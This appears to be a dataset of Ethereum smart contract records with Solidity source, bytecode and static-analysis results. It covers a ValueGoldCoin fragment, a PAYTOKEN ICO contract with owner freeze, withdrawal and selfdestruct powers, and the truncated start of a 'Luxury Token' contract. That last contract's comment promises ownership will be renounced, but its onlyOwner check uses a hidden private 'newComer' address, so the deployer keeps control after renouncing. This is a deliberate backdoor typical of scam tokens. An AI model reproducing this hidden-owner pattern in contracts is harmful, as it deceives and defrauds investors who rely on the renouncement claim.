_amount); return true; } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); require(totalSupply + amount <= cap, "Maximum token supply exceeded"); totalSupply += amount; balances[account] += amount; emit Transfer(address(0), account, amount); } } contract BurnableToken is StandardToken, Ownable { function burn(uint256 _amount) public onlyOwner returns(bool) { _burn(owner, _amount); return true; } /** @dev Burn `amount` tokens from the `owner` accounr, decreasing * the total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `totalSupply` should be more than the balance in the owner account. * - 'balance' of owner should be more than the amount to be burned */ function _burn(address account, uint256 amount) internal virtual { require(totalSupply >= amount); require(balances[account] >= amount); totalSupply -= amount; balances[account] -= amount; emit Transfer(account, address(0), amount); } } /** * @title Value Gold Coin * @dev Token representing VGC. */ contract ValueGoldCoin is MintableToken, BurnableToken{ using SafeMath for uint256; string public name ; string public symbol ; uint8 public decimals = 18 ; /** * @dev Constructor function to initialize the initial supply of token to the creator of the contract * @param tokenName The name of the token * @param tokenSymbol The symbol of the token */ constructor ( string memory tokenName, string memory tokenSymbol ) { name = tokenName; symbol = tokenSymbol; } /** *@dev helper method to get token details, name, symbol and totalSupply in one go */ function getTokenDetail() public view virtual returns (string memory, string memory , uint256) { return (name, symbol, totalSupply); } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806340c10f191161009757806395d89b411161006657806395d89b411461021e578063a9059cbb14610226578063dd62ed3e14610239578063f2fde38b1461027257600080fd5b806340c10f19146101a457806342966c68146101b757806370a08231146101ca5780638da5cb5b146101f357600080fd5b806323b872dd116100d357806323b872dd14610152578063289de61514610165578063313ce5671461017c578063355274ea1461019b57600080fd5b806306fdde03146100fa578063095ea7b31461011857806318160ddd1461013b575b600080fd5b610102610287565b60405161010f9190610de7565b60405180910390f35b61012b610126366004610d5b565b610315565b604051901515815260200161010f565b61014460005481565b60405190815260200161010f565b61012b610160366004610d20565b610381565b61016d610606565b60405161010f93929190610dfa565b6007546101899060ff1681565b60405160ff909116815260200161010f565b61014460045481565b61012b6101b2366004610d5b565b610735565b61012b6101c5366004610d84565b610775565b6101446101d8366004610cd4565b6001600160a01b031660009081526001602052604090205490565b600354610206906001600160a01b031681565b6040516001600160a01b03909116815260200161010f565b6101026107c1565b61012b610234366004610d5b565b6107ce565b610144610247366004610cee565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b610285610280366004610cd4565b6107db565b005b6005805461029490610e8e565b80601f01602080910402602001604051908101604052809291908181526020018280546102c090610e8e565b801561030d5780601f106102e25761010080835404028352916020019161030d565b820191906000526020600020905b8154815290600101906020018083116102f057829003601f168201915b505050505081565b3360008181526002602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103709086815260200190565b60405180910390a350600192915050565b60006001600160a01b0383166103de5760405162461bcd60e51b815260206004820152601f60248201527f4e657720616464726573732063616e6e6f74206265203020616464726573730060448201526064015b60405180910390fd5b6001600160a01b03841660009081526001602052604090205482111561043c5760405162461bcd60e51b815260206004820152601360248201527253686f756c6420686176652062616c616e636560681b60448201526064016103d5565b6001600160a01b03841660009081526002602090815260408083203384529091529020548211156104af5760405162461bcd60e51b815260206004820152601e60248201527f73686f756c64206861766520616c6c6f776564207468652073656e646572000060448201526064016103d5565b6000821180156104df57506001600160a01b0383166000908152600160205260409020546104dd81846108b7565b115b6105205760405162461bcd60e51b81526020600482015260126024820152710616d6f756e742063616e6e6f7420626520360741b60448201526064016103d5565b6001600160a01b03841660009081526001602052604090205461054390836108eb565b6001600160a01b03808616600090815260016020526040808220939093559085168152205461057290836108b7565b6001600160a01b0380851660009081526001602090815260408083209490945591871681526002825282812033825290915220546105b090836108eb565b6001600160a01b0385811660008181526002602090815260408083203384528252918290209490945551858152918616929091600080516020610ee0833981519152910160405180910390a35060019392505050565b60608060006005600660005482805461061e90610e8e565b80601f016020809104026020016040519081016040528092919081815260200182805461064a90610e8e565b80156106975780601f1061066c57610100808354040283529160200191610697565b820191906000526020600020905b81548152906001019060200180831161067a57829003601f168201915b505050505092508180546106aa90610e8e565b80601f01602080910402602001604051908101604052809291908181526020018280546106d690610e8e565b80156107235780601f106106f857610100808354040283529160200191610723565b820191906000526020600020905b81548152906001019060200180831161070657829003601f168201915b50505050509150925092509250909192565b6003546000906001600160a01b031633146107625760405162461bcd60e51b81526004016103d590610e30565b61076c8383610915565b50600192915050565b6003546000906001600160a01b031633146107a25760405162461bcd60e51b81526004016103d590610e30565b6003546107b8906001600160a01b031683610a41565b5060015b919050565b6006805461029490610e8e565b600061076c338484610ae4565b6003546001600160a01b031633146108055760405162461bcd60e51b81526004016103d590610e30565b6001600160a01b03811661085b5760405162461bcd60e51b815260206004820152601d60248201527f4e6577206f776e65722063616e6e6f742062652030206164647265737300000060448201526064016103d5565b6003546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600380546001600160a01b0319166001600160a01b0392909216919091179055565b6000806108c48385610e5f565b9050838110156108e457634e487b7160e01b600052600160045260246000fd5b9392505050565b60008282111561090b57634e487b7160e01b600052600160045260246000fd5b6108e48284610e77565b6001600160a01b03821661096b5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016103d5565b6004548160005461097c9190610e5f565b11156109ca5760405162461bcd60e51b815260206004820152601d60248201527f4d6178696d756d20746f6b656e20737570706c7920657863656564656400000060448201526064016103d5565b806000808282546109db9190610e5f565b90915550506001600160a01b03821660009081526001602052604081208054839290610a08908490610e5f565b90915550506040518181526001600160a01b03831690600090600080516020610ee0833981519152906020015b60405180910390a35050565b806000541015610a5057600080fd5b6001600160a01b038216600090815260016020526040902054811115610a7557600080fd5b80600080828254610a869190610e77565b90915550506001600160a01b03821660009081526001602052604081208054839290610ab3908490610e77565b90915550506040518181526000906001600160a01b03841690600080516020610ee083398151915290602001610a35565b6001600160a01b038316610b485760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103d5565b6001600160a01b038216610baa5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103d5565b6001600160a01b038316600090815260016020526040902054811115610c215760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103d5565b6001600160a01b03831660009081526001602052604081208054839290610c49908490610e77565b90915550506001600160a01b03821660009081526001602052604081208054839290610c76908490610e5f565b92505081905550816001600160a01b0316836001600160a01b0316600080516020610ee083398151915283604051610cb091815260200190565b60405180910390a3505050565b80356001600160a01b03811681146107bc57600080fd5b600060208284031215610ce5578081fd5b6108e482610cbd565b60008060408385031215610d00578081fd5b610d0983610cbd565b9150610d1760208401610cbd565b90509250929050565b600080600060608486031215610d34578081fd5b610d3d84610cbd565b9250610d4b60208501610cbd565b9150604084013590509250925092565b60008060408385031215610d6d578182fd5b610d7683610cbd565b946020939093013593505050565b600060208284031215610d95578081fd5b5035919050565b60008151808452815b81811015610dc157602081850181015186830182015201610da5565b81811115610dd25782602083870101525b50601f01601f19169290920160200192915050565b6020815260006108e46020830184610d9c565b606081526000610e0d6060830186610d9c565b8281036020840152610e1f8186610d9c565b915050826040830152949350505050565b602080825260159082015274165bdd49dc99481b9bdd08185d5d1a1bdc9a5e9959605a1b604082015260600190565b60008219821115610e7257610e72610ec9565b500190565b600082821015610e8957610e89610ec9565b500390565b600181811c90821680610ea257607f821691505b60208210811415610ec357634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfeddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa264697066735822122045aad3b239c98a42ba012ed9e0d583524cba8b532e6b87847943a622b680467d64736f6c63430008040033
{"success": true, "error": null, "results": {}}
5,455
0xf987a949e3b7f2bb8528332ac527782ba6f42b4b
pragma solidity 0.4.25; // ---------------------------------------------------------------------------- // 'PAYTOKEN' contract with following features // => In-built ICO functionality - Infinite duration // => ERC20 Compliance // => Higher control of ICO by admin/owner // => selfdestruct functionality // => SafeMath implementation // // Deployed to : 0x6A51a1415ED5e6156D4A6046C890e2f2a4Cfd0B9 // Symbol : PAYTK // Name : PAYTOKEN // Total supply: 1,000,000,000 (1 Billion) // Decimals : 18 // // Copyright (c) 2018 Payou Ltd, Malta (https://paytoken.co) // ---------------------------------------------------------------------------- /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract owned { address public owner; using SafeMath for uint256; constructor () public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract TokenERC20 { // Public variables of the token using SafeMath for uint256; string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; bool public safeguard = false; //putting safeguard on will halt all non-owner functions // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor ( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply.mul(1 ether); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require(!safeguard); // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to].add(_value) > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from].add(balanceOf[_to]); // Subtract from the sender balanceOf[_from] = balanceOf[_from].sub(_value); // Add the same to the recipient balanceOf[_to] = balanceOf[_to].add(_value); emit Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(!safeguard); require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { require(!safeguard); allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { require(!safeguard); tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(!safeguard); require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender totalSupply = totalSupply.sub(_value); // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(!safeguard); require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); // Subtract from the sender's allowance totalSupply = totalSupply.sub(_value); // Update totalSupply emit Burn(_from, _value); return true; } } //*******************************************************// //------------- ADVANCED TOKEN STARTS HERE -------------// //*******************************************************// contract PAYTOKEN is owned, TokenERC20 { using SafeMath for uint256; /**********************************/ /* Code for the ERC20 PAYTOKEN */ /**********************************/ // Public variables of the token string private tokenName = "PAYTOKEN"; string private tokenSymbol = "PAYTK"; uint256 private initialSupply = 1000000000; // Initial supply of the tokens // Records for the fronzen accounts mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* Initializes contract with initial supply tokens to the creator of the contract */ constructor () TokenERC20(initialSupply, tokenName, tokenSymbol) public {} /* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require(!safeguard); require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to].add(_value) >= balanceOf[_to]); // Check for overflows require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the sender balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient emit Transfer(_from, _to, _value); } /// @notice Create `mintedAmount` tokens and send it to `target` /// @param target Address to receive the tokens /// @param mintedAmount the amount of tokens it will receive function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] = balanceOf[target].add(mintedAmount); totalSupply = totalSupply.add(mintedAmount); emit Transfer(0, this, mintedAmount); emit Transfer(this, target, mintedAmount); } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } /**************************/ /* Code for the Crowdsale */ /**************************/ //public variables for the Crowdsale uint256 public icoStartDate = 999 ; // Any past timestamp uint256 public icoEndDate = 9999999999999999 ; // Infinite end date. uint256 public exchangeRate = 10000; // 1 ETH = 10000 Tokens uint256 public tokensSold = 0; // how many tokens sold through crowdsale //@dev fallback function, only accepts ether if ICO is running or Reject function () payable public { require(icoEndDate > now); require(icoStartDate < now); require(!safeguard); uint ethervalueWEI=msg.value; // calculate token amount to be sent uint256 token = ethervalueWEI.mul(exchangeRate); //weiamount * price tokensSold = tokensSold.add(token); _transfer(this, msg.sender, token); // makes the transfers forwardEherToOwner(); } //Automatocally forwards ether from smart contract to owner address function forwardEherToOwner() internal { owner.transfer(msg.value); } //function to start an ICO. //It requires: timestamp of start and end date, exchange rate (1 ETH = ? Tokens), and token amounts to allocate for the ICO //It will transfer allocated amount to the smart contract from Owner function startIco(uint256 start,uint256 end, uint256 exchangeRateNew, uint256 TokensAllocationForICO) onlyOwner public { require(start < end); uint256 tokenAmount = TokensAllocationForICO.mul(1 ether); require(balanceOf[msg.sender] > tokenAmount); icoStartDate=start; icoEndDate=end; exchangeRate = exchangeRateNew; approve(this,tokenAmount); transfer(this,tokenAmount); } //Stops an ICO. //It will also transfer remaining tokens to owner function stopICO() onlyOwner public{ icoEndDate = 0; uint256 tokenAmount=balanceOf[this]; _transfer(this, msg.sender, tokenAmount); } //function to check wheter ICO is running or not. function isICORunning() public view returns(bool){ if(icoEndDate > now && icoStartDate < now){ return true; }else{ return false; } } //Function to set ICO Exchange rate. function setICOExchangeRate(uint256 newExchangeRate) onlyOwner public { exchangeRate=newExchangeRate; } //Just in case, owner wants to transfer Tokens from contract to owner address function manualWithdrawToken(uint256 _amount) onlyOwner public { uint256 tokenAmount = _amount.mul(1 ether); _transfer(this, msg.sender, tokenAmount); } //Just in case, owner wants to transfer Ether from contract to owner address function manualWithdrawEther()onlyOwner public{ uint256 amount=address(this).balance; owner.transfer(amount); } //selfdestruct function. just in case owner decided to destruct this contract. function destructContract()onlyOwner public{ selfdestruct(owner); } /** * Change safeguard status on or off * * When safeguard is true, then all the non-owner functions will stop working. */ function changeSafeguardStatus() onlyOwner public{ if (safeguard == false){ safeguard = true; } else{ safeguard = false; } } }
0x60806040526004361061017f5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146101f7578063095ea7b31461028157806318160ddd146102b957806323b872dd146102e05780632a62738b1461030a578063313ce5671461031f57806334253af51461034a5780633ba0b9a91461035f57806342966c68146103745780634bec83351461038c578063518ab2a8146103a35780635954c8c5146103b85780635d22a352146103cd57806370a08231146103e557806379c650681461040657806379cc67901461042a5780638da5cb5b1461044e5780639499e0181461047f57806395d89b4114610494578063a9059cbb146104a9578063b414d4b6146104cd578063b57dbdc6146104ee578063c8e569a814610503578063cae9ca5114610518578063d73019e914610581578063dd62ed3e14610596578063e724529c146105bd578063eabbcb4b146105e3578063f2fde38b14610604578063f868061e14610625575b60008042600d5411151561019257600080fd5b600c5442116101a057600080fd5b60055460ff16156101b057600080fd5b600e543492506101c790839063ffffffff61063d16565b600f549091506101dd908263ffffffff61067316565b600f556101eb303383610682565b6101f3610806565b5050005b34801561020357600080fd5b5061020c610843565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561024657818101518382015260200161022e565b50505050905090810190601f1680156102735780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561028d57600080fd5b506102a5600160a060020a03600435166024356108d0565b604080519115158252519081900360200190f35b3480156102c557600080fd5b506102ce610911565b60408051918252519081900360200190f35b3480156102ec57600080fd5b506102a5600160a060020a0360043581169060243516604435610917565b34801561031657600080fd5b506102ce6109c7565b34801561032b57600080fd5b506103346109cd565b6040805160ff9092168252519081900360200190f35b34801561035657600080fd5b506102a56109d6565b34801561036b57600080fd5b506102ce6109fe565b34801561038057600080fd5b506102a5600435610a04565b34801561039857600080fd5b506103a1610ab7565b005b3480156103af57600080fd5b506102ce610af9565b3480156103c457600080fd5b506103a1610aff565b3480156103d957600080fd5b506103a1600435610b58565b3480156103f157600080fd5b506102ce600160a060020a0360043516610b95565b34801561041257600080fd5b506103a1600160a060020a0360043516602435610ba7565b34801561043657600080fd5b506102a5600160a060020a0360043516602435610c92565b34801561045a57600080fd5b50610463610de2565b60408051600160a060020a039092168252519081900360200190f35b34801561048b57600080fd5b506103a1610df1565b3480156104a057600080fd5b5061020c610e16565b3480156104b557600080fd5b506103a1600160a060020a0360043516602435610e6e565b3480156104d957600080fd5b506102a5600160a060020a0360043516610e79565b3480156104fa57600080fd5b506102a5610e8e565b34801561050f57600080fd5b506103a1610e97565b34801561052457600080fd5b50604080516020600460443581810135601f81018490048402850184019095528484526102a5948235600160a060020a0316946024803595369594606494920191908190840183828082843750949750610ed29650505050505050565b34801561058d57600080fd5b506102ce610fff565b3480156105a257600080fd5b506102ce600160a060020a0360043581169060243516611005565b3480156105c957600080fd5b506103a1600160a060020a03600435166024351515611022565b3480156105ef57600080fd5b506103a160043560243560443560643561109d565b34801561061057600080fd5b506103a1600160a060020a0360043516611122565b34801561063157600080fd5b506103a1600435611168565b600080831515610650576000915061066c565b5082820282848281151561066057fe5b041461066857fe5b8091505b5092915050565b60008282018381101561066857fe5b60055460ff161561069257600080fd5b600160a060020a03821615156106a757600080fd5b600160a060020a0383166000908152600660205260409020548111156106cc57600080fd5b600160a060020a0382166000908152600660205260409020546106f5818363ffffffff61067316565b101561070057600080fd5b600160a060020a0383166000908152600b602052604090205460ff161561072657600080fd5b600160a060020a0382166000908152600b602052604090205460ff161561074c57600080fd5b600160a060020a038316600090815260066020526040902054610775908263ffffffff61118416565b600160a060020a0380851660009081526006602052604080822093909355908416815220546107aa908263ffffffff61067316565b600160a060020a0380841660008181526006602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60008054604051600160a060020a03909116913480156108fc02929091818181858888f19350505050158015610840573d6000803e3d6000fd5b50565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156108c85780601f1061089d576101008083540402835291602001916108c8565b820191906000526020600020905b8154815290600101906020018083116108ab57829003601f168201915b505050505081565b60055460009060ff16156108e357600080fd5b50336000908152600760209081526040808320600160a060020a039590951683529390529190912055600190565b60045481565b60055460009060ff161561092a57600080fd5b600160a060020a038416600090815260076020908152604080832033845290915290205482111561095a57600080fd5b600160a060020a038416600090815260076020908152604080832033845290915290205461098e908363ffffffff61118416565b600160a060020a03851660009081526007602090815260408083203384529091529020556109bd848484610682565b5060019392505050565b600d5481565b60035460ff1681565b600042600d541180156109ea575042600c54105b156109f7575060016109fb565b5060005b90565b600e5481565b60055460009060ff1615610a1757600080fd5b33600090815260066020526040902054821115610a3357600080fd5b33600090815260066020526040902054610a53908363ffffffff61118416565b33600090815260066020526040902055600454610a76908363ffffffff61118416565b60045560408051838152905133917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2506001919050565b600054600160a060020a03163314610ace57600080fd5b60055460ff161515610aec576005805460ff19166001179055610af7565b6005805460ff191690555b565b600f5481565b60008054600160a060020a03163314610b1757600080fd5b5060008054604051303192600160a060020a03909216916108fc841502918491818181858888f19350505050158015610b54573d6000803e3d6000fd5b5050565b60008054600160a060020a03163314610b7057600080fd5b610b8882670de0b6b3a764000063ffffffff61063d16565b9050610b54303383610682565b60066020526000908152604090205481565b600054600160a060020a03163314610bbe57600080fd5b600160a060020a038216600090815260066020526040902054610be7908263ffffffff61067316565b600160a060020a038316600090815260066020526040902055600454610c13908263ffffffff61067316565b60045560408051828152905130916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a3604080518281529051600160a060020a0384169130917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b60055460009060ff1615610ca557600080fd5b600160a060020a038316600090815260066020526040902054821115610cca57600080fd5b600160a060020a0383166000908152600760209081526040808320338452909152902054821115610cfa57600080fd5b600160a060020a038316600090815260066020526040902054610d23908363ffffffff61118416565b600160a060020a0384166000908152600660209081526040808320939093556007815282822033835290522054610d60908363ffffffff61118416565b600160a060020a0384166000908152600760209081526040808320338452909152902055600454610d97908363ffffffff61118416565b600455604080518381529051600160a060020a038516917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a250600192915050565b600054600160a060020a031681565b600054600160a060020a03163314610e0857600080fd5b600054600160a060020a0316ff5b6002805460408051602060018416156101000260001901909316849004601f810184900484028201840190925281815292918301828280156108c85780601f1061089d576101008083540402835291602001916108c8565b610b54338383610682565b600b6020526000908152604090205460ff1681565b60055460ff1681565b60008054600160a060020a03163314610eaf57600080fd5b506000600d81905530808252600660205260409091205490610840903383610682565b600554600090819060ff1615610ee757600080fd5b5083610ef381856108d0565b15610ff7576040517f8f4ffcb10000000000000000000000000000000000000000000000000000000081523360048201818152602483018790523060448401819052608060648501908152875160848601528751600160a060020a03871695638f4ffcb195948b94938b939192909160a490910190602085019080838360005b83811015610f8b578181015183820152602001610f73565b50505050905090810190601f168015610fb85780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015610fda57600080fd5b505af1158015610fee573d6000803e3d6000fd5b50505050600191505b509392505050565b600c5481565b600760209081526000928352604080842090915290825290205481565b600054600160a060020a0316331461103957600080fd5b600160a060020a0382166000818152600b6020908152604091829020805460ff191685151590811790915582519384529083015280517f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a59281900390910190a15050565b60008054600160a060020a031633146110b557600080fd5b8385106110c157600080fd5b6110d982670de0b6b3a764000063ffffffff61063d16565b3360009081526006602052604090205490915081106110f757600080fd5b600c859055600d849055600e83905561111030826108d0565b5061111b3082610e6e565b5050505050565b600054600160a060020a0316331461113957600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600054600160a060020a0316331461117f57600080fd5b600e55565b60008282111561119057fe5b509003905600a165627a7a72305820b43ea8b9c688ff831e3e0ab912b8224284f8ff3b5a0f866a67d7859c6dbdc8110029
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
5,456
0xececc85e13265971cc3ad7c003997a888413b5a0
/* 💫 Luxury Token | LUX Token 💚 Fair Launch, ETHEREUM / ERC20! 🧑‍💻 No Dev Tokens. ✊ 3% Buy/Sell Supply Limit 💹 No Buy/Sell Limit after first 5 minutes. 💰 $15K Starting Liquidity / Market Cap 🌅 Based on the Ethereum Rewards ERC Deployment 🔫 Anti-sniper & Anti-bot scripting 🔐 Liq Lock on Launch 📜 Contract renounced on Launch 💎 1 Quadrillion Supply 🚰 Luxury Tax Giveaway every 48 Hours 🎁 Auto-farming to All Holders! Telegram: https://t.me/luxurytokenerc */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract luxury is Context, IERC20, Ownable { using 